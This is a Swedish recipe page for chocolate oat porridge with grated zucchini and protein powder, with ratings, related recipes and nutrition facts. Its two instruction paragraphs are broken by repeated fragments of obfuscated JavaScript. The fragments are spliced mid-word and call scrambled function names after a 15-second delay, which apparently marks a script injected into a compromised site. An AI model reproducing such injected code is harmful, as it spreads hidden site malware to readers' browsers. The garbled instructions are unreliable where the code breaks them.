Chokladgröt med zucchini

2013-06-23
IMG_9176IMG_9171IMG_9202
  • Servings : 1
  • Prep Time : 5m
  • Cook Time : 5m
  • Ready In : 10m

Proteinrik, nyttig och supergod gröt perfekt för chokladälskare som jag.

Ingredienser

  • 1 dl havregryn
  • 1 msk kakao
  • 0.5 dl finriven zucchini
  • 1 dl mjölk
  • 1 dl vatten
  • 0.5 dl whey-proteinpulver, t.ex vanilj eller chokladsmak
  • Lite salt
  • Stevia efter smak

Gör så här:

Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a alla ingredienser utom proteinpulvret i en bunke/skål.
Koka på spisen eller mikra i en bunke/skål med så höga sidor som möjligt, tills vätskan har sugits upp. 3-4 min i mikron.

När gröten kokat klart, blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a i proteinpulvret och rör om ordentligt. Servera med exempelvis skivade jordgubbar och riven kokos.

Medlemsbetyg

(5 / 5)

5 5 1
Betygsätt recept

1 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0985

    Lowcarb Carbonara

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • _SAM0920

    Svartvitlöks rostad kyckling

  • Avokado & äggmacka

    Avokado & äggmacka

Näringssinnehåll

Informationen gäller per portion

  • kCal

    273
  • Protein

    24g
  • Kolhydrater

    29g
  • Fett

    7g

Recipe Comments

Post A Comment

Current ye@r *